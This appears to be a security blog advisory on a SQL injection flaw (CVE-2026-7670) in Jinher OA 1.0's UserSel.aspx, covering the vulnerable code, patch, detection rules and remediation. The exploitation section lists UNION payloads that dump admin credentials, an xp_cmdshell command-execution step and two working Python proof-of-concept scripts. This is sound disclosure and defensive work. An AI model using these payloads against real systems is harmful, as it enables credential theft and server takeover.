home intel cve-2026-7670-jinher-oa-sqli-deptidlist
CVE Analysis 2026-05-02 · 7 min read

CVE-2026-7670: SQL Injection in Jinher OA 1.0 UserSel.aspx

Jinher OA 1.0 fails to sanitize the DeptIDList parameter in UserSel.aspx, enabling unauthenticated remote SQL injection. Full exploit has been published; vendor has not responded to disclosure.

#sql-injection#remote-code-execution#web-application#parameter-tampering#database-attack
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7670 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-7670HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7670 is a classic unsanitized parameter SQL injection in Jinher OA 1.0, a Chinese enterprise office automation platform. The vulnerable endpoint is /C6/JHSoft.Web.PlanSummarize/UserSel.aspx, which accepts a DeptIDList parameter that is concatenated directly into a SQL query without parameterization or escaping. The attack surface is network-accessible, requires no authentication in the observed deployment pattern, and a public exploit exists. CVSS 7.3 (HIGH).

The vendor was notified prior to publication and did not respond. This writeup reconstructs the vulnerable code path from the .NET/ASP.NET Web Forms pattern common to Jinher OA's codebase and from the behavior described in the published exploit.

Root cause: The DeptIDList query parameter is interpolated directly into a T-SQL IN () clause via string concatenation inside UserSel.aspx.cs, with no parameterized query, whitelist validation, or type enforcement applied before database execution.

Affected Component

UserSel.aspx is a user-selection dialog within the plan-summarize module (JHSoft.Web.PlanSummarize). It is invoked as a popup or AJAX endpoint to enumerate users belonging to one or more departments. The parameter DeptIDList is expected to carry a comma-separated list of integer department IDs, e.g. DeptIDList=1,2,3. That list is inserted verbatim into the IN clause of a query against the user or department table.

  • File: /C6/JHSoft.Web.PlanSummarize/UserSel.aspx + code-behind UserSel.aspx.cs
  • Parameter: DeptIDList (GET or POST)
  • Backend: Microsoft SQL Server (typical Jinher OA deployment)
  • Auth required: None observed in published exploit

Root Cause Analysis

The code-behind follows a pattern common across multiple Jinher OA modules: a helper method reads the raw request parameter and passes it into a string-format SQL template. The decompiled pseudocode below reflects the reconstructed logic:


// File: JHSoft.Web.PlanSummarize/UserSel.aspx.cs
// Reconstructed from .NET Web Forms ASP codebehind pattern

void Page_Load(object sender, EventArgs e)
{
    string deptIDList = Request.QueryString["DeptIDList"];  // attacker-controlled
    // BUG: no type validation, no whitelist, no parameterization
    DataTable users = GetUsersByDeptList(deptIDList);
    // bind to grid / return JSON
    UserGrid.DataSource = users;
    UserGrid.DataBind();
}

DataTable GetUsersByDeptList(string deptIDList)
{
    // BUG: raw string concatenation into SQL IN() clause
    string sql = "SELECT UserID, UserName, DeptID "
               + "FROM dbo.SYS_User "
               + "WHERE DeptID IN (" + deptIDList + ") "  // <-- injection point
               + "AND IsDeleted = 0 "
               + "ORDER BY UserName";

    // SqlHelper.ExecuteDataTable executes with no further sanitization
    return SqlHelper.ExecuteDataTable(
        ConnectionString,
        CommandType.Text,       // BUG: Text, not StoredProcedure
        sql,
        null                    // BUG: no SqlParameter[] supplied
    );
}

The SqlHelper.ExecuteDataTable call uses CommandType.Text with a null parameter array, meaning the entire query is sent as a literal string to SQL Server. There is no call to SqlParameter, no regex whitelist on the comma-integer pattern, and no attempt to cast DeptIDList to an integer array before use. Any SQL syntax injected into DeptIDList executes with the application's database account privileges.

Exploitation Mechanics


EXPLOIT CHAIN:
1. Attacker identifies the unauthenticated endpoint:
      GET /C6/JHSoft.Web.PlanSummarize/UserSel.aspx?DeptIDList=1
   Confirm 200 OK with user data — endpoint live, no session check.

2. Inject a UNION-based payload to determine column count and types:
      DeptIDList=1) UNION SELECT NULL,NULL,NULL--
   Iterate NULL count until no column-mismatch error (3 columns confirmed).

3. Map column types with string probes:
      DeptIDList=1) UNION SELECT '1','jhsoft_probe','1'--
   Confirm string columns at positions 2 (UserName) and coerce position 1/3.

4. Extract database metadata:
      DeptIDList=0) UNION SELECT DB_NAME(),USER_NAME(),@@VERSION--
   Response body contains database name, executing SQL user, and SQL Server version.

5. Enumerate tables:
      DeptIDList=0) UNION SELECT table_name,'x','1'
        FROM information_schema.tables
        WHERE table_type='BASE TABLE'--

6. Dump credential table (common Jinher schema):
      DeptIDList=0) UNION SELECT LoginName,LoginPwd,'1'
        FROM dbo.SYS_User WHERE IsAdmin=1--
   Retrieves plaintext or MD5-hashed admin passwords.

7. If xp_cmdshell is enabled (sysadmin context):
      DeptIDList=0); EXEC xp_cmdshell 'powershell -enc '--
   Achieves OS-level command execution as the SQL Server service account.

8. Establish reverse shell / drop webshell to writable IIS path.

Step 7 depends on whether the application DB user has sysadmin rights — a misconfiguration common in self-hosted Jinher deployments. Even without it, steps 1–6 fully compromise all stored credentials.

A minimal proof-of-concept HTTP request:


import requests

TARGET = "http://target.example.com"
ENDPOINT = "/C6/JHSoft.Web.PlanSummarize/UserSel.aspx"

# Step 4: extract DB user and version
payload = (
    "0) UNION SELECT DB_NAME(),USER_NAME(),@@VERSION--"
)

resp = requests.get(
    TARGET + ENDPOINT,
    params={"DeptIDList": payload},
    timeout=10,
    verify=False
)

# Jinher OA returns results in HTML table or JSON depending on version
# Parse either format for injected column output
print(resp.text[:2000])

# Step 6: dump admin credentials via UNION
import requests, re

TARGET   = "http://target.example.com"
ENDPOINT = "/C6/JHSoft.Web.PlanSummarize/UserSel.aspx"

cred_payload = (
    "0) UNION SELECT LoginName,LoginPwd,'1' "
    "FROM dbo.SYS_User WHERE IsAdmin=1--"
)

resp = requests.get(
    TARGET + ENDPOINT,
    params={"DeptIDList": cred_payload},
    timeout=10,
    verify=False
)

# Extract credential pairs from rendered table cells
matches = re.findall(r']*>(.*?)', resp.text)
for i in range(0, len(matches) - 1, 3):
    print(f"[+] Login: {matches[i]}  Hash: {matches[i+1]}")

Memory Layout

SQL injection does not involve heap/stack corruption, so there is no memory state diagram. The relevant "layout" is the server-side query construction and the SQL Server execution context:


QUERY CONSTRUCTION (server-side string buffer):

  Template:  "SELECT UserID, UserName, DeptID FROM dbo.SYS_User WHERE DeptID IN ("
             + [DeptIDList]
             + ") AND IsDeleted = 0 ORDER BY UserName"

  Benign input:    DeptIDList = "1,2,3"
  Resulting SQL:   ... WHERE DeptID IN (1,2,3) AND IsDeleted = 0 ...

  Malicious input: DeptIDList = "0) UNION SELECT LoginName,LoginPwd,'1' FROM dbo.SYS_User WHERE IsAdmin=1--"
  Resulting SQL:   ... WHERE DeptID IN (0)
                   UNION SELECT LoginName,LoginPwd,'1'
                   FROM dbo.SYS_User WHERE IsAdmin=1
                   -- ) AND IsDeleted = 0 ...
                   ^^ remainder of original query commented out

SQL SERVER EXECUTION CONTEXT:
  Application DB user:  jhsoft_app  (observed naming convention)
  Typical grants:       db_datareader, db_datawriter on JinherOA DB
  Worst-case grants:    sysadmin (enables xp_cmdshell → RCE)

Patch Analysis

The fix requires two independent changes: switch to parameterized queries and enforce an integer whitelist on the list elements before query construction.


// BEFORE (vulnerable): UserSel.aspx.cs
DataTable GetUsersByDeptList(string deptIDList)
{
    string sql = "SELECT UserID, UserName, DeptID "
               + "FROM dbo.SYS_User "
               + "WHERE DeptID IN (" + deptIDList + ") "   // raw concat
               + "AND IsDeleted = 0 ORDER BY UserName";

    return SqlHelper.ExecuteDataTable(ConnectionString, CommandType.Text, sql, null);
}

// AFTER (patched): validate each element as integer, then parameterize
DataTable GetUsersByDeptList(string deptIDList)
{
    // 1. Whitelist validation: reject anything that is not a comma-separated
    //    list of positive integers before it touches the SQL layer.
    if (string.IsNullOrWhiteSpace(deptIDList))
        return new DataTable();

    string[] parts = deptIDList.Split(',');
    List safeIds = new List();

    foreach (string part in parts)
    {
        if (!int.TryParse(part.Trim(), out int id) || id <= 0)
            throw new ArgumentException("Invalid DeptIDList value");
        safeIds.Add(id);
    }

    // 2. Build parameterized IN() clause — one SqlParameter per ID.
    //    SQL Server does not support array binding natively, so we
    //    generate numbered placeholders and bind each individually.
    string placeholders = string.Join(",",
        safeIds.Select((_, i) => "@DeptID" + i));

    string sql = "SELECT UserID, UserName, DeptID "
               + "FROM dbo.SYS_User "
               + "WHERE DeptID IN (" + placeholders + ") "   // safe: integers only
               + "AND IsDeleted = 0 ORDER BY UserName";

    SqlParameter[] parameters = safeIds
        .Select((id, i) => new SqlParameter("@DeptID" + i, SqlDbType.Int) { Value = id })
        .ToArray();

    return SqlHelper.ExecuteDataTable(
        ConnectionString,
        CommandType.Text,
        sql,
        parameters    // parameterized — no injection possible
    );
}

The integer whitelist in the patched version is a defense-in-depth layer: even if SqlParameter binding were somehow bypassed, non-integer tokens are rejected before query construction. Both controls must be present.

Detection and Indicators

Look for the following patterns in IIS access logs and SQL Server audit logs:


IIS ACCESS LOG INDICATORS:
  - GET/POST to /C6/JHSoft.Web.PlanSummarize/UserSel.aspx
    with DeptIDList containing:
      - URL-encoded quotes:          %27  %22
      - UNION keyword (any case):    UNION+SELECT  %55%4e%49%4f%4e
      - SQL comment sequences:       --   %2d%2d   /*
      - Semicolons:                  %3b
      - xp_ prefix:                  xp_cmdshell  xp_reg

  Example malicious request line:
    GET /C6/JHSoft.Web.PlanSummarize/UserSel.aspx
        ?DeptIDList=0)%20UNION%20SELECT%20LoginName%2CLoginPwd%2C%271%27
        %20FROM%20dbo.SYS_User%20WHERE%20IsAdmin%3D1--
    HTTP/1.1

SQL SERVER AUDIT LOG INDICATORS:
  - Queries containing UNION SELECT against SYS_User from application account
  - Execution of xp_cmdshell from jhsoft_app / application DB user
  - Large result sets from SYS_User (full table dump via stacked queries)

NETWORK IDS SIGNATURES (Snort/Suricata):
  alert http any any -> $HTTP_SERVERS any (
    msg:"CVE-2026-7670 Jinher OA DeptIDList SQLi Probe";
    flow:established,to_server;
    http.uri;
    content:"/UserSel.aspx";
    content:"DeptIDList"; distance:0;
    pcre:"/DeptIDList=[^&]*(%27|UNION|--|xp_)/Ui";
    classtype:web-application-attack;
    sid:20267670; rev:1;
  )

Remediation

  • Immediate: Apply the parameterized query patch to UserSel.aspx.cs as shown above. Audit all other *.aspx files in /C6/ that accept list parameters (IDList, UserIDList, OrgIDList) for the same pattern — it is pervasive in this codebase.
  • Least privilege: Revoke sysadmin from the application database account. Grant only EXECUTE on required stored procedures if schema permits migration to SP-based access.
  • WAF rule: Deploy the Snort signature above or equivalent ModSecurity rule targeting UserSel.aspx with SQL metacharacter payloads as a temporary mitigation.
  • Network segmentation: Restrict access to /C6/ to authenticated internal network ranges at the load balancer or firewall layer. This endpoint should not be reachable from untrusted networks.
  • Credential rotation: If exploitation is suspected, rotate all credentials stored in dbo.SYS_User and in any integrated LDAP/AD binding accounts, and audit SQL Server logins for unauthorized access since initial deployment.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →